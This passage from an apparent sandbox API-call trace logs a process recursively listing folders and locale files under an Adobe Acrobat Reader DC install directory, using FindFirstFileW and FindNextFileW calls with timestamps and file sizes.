cAlternateFileName="")) returned 0x33e4ea8 [0249.258] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.258] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2d73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0249.258] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2d73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 0 [0249.258] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0249.258] GetProcessHeap () returned 0xc10000 [0249.258] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0249.258] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0249.259] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.259] GetProcessHeap () returned 0xc10000 [0249.259] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0249.259] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1 [0249.259] GetProcessHeap () returned 0xc10000 [0249.259] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0249.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0249.262] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.262] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0249.262] GetProcessHeap () returned 0xc10000 [0249.262] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0249.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0249.265] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.265] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0249.265] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0249.265] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0249.265] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0249.452] GetProcessHeap () returned 0xc10000 [0249.452] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0249.452] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0249.453] GetProcessHeap () returned 0xc10000 [0249.453] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0249.453] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0249.454] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.454] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0249.454] GetProcessHeap () returned 0xc10000 [0249.454] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0249.455] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0249.617] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.617] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0249.617] GetProcessHeap () returned 0xc10000 [0249.617] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.619] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.620] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0249.620] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.620] GetProcessHeap () returned 0xc10000 [0249.621] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.621] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0249.621] GetProcessHeap () returned 0xc10000 [0249.621] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.626] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.626] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.626] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.626] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.627] GetProcessHeap () returned 0xc10000 [0249.627] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.627] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0249.627] GetProcessHeap () returned 0xc10000 [0249.627] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.643] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.643] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.643] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.644] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.644] GetProcessHeap () returned 0xc10000 [0249.644] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.644] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0249.644] GetProcessHeap () returned 0xc10000 [0249.644] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0249.646] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.646] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.646] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.646] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0249.647] GetProcessHeap () returned 0xc10000 [0249.647] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.647] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0249.647] GetProcessHeap () returned 0xc10000 [0249.647] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, 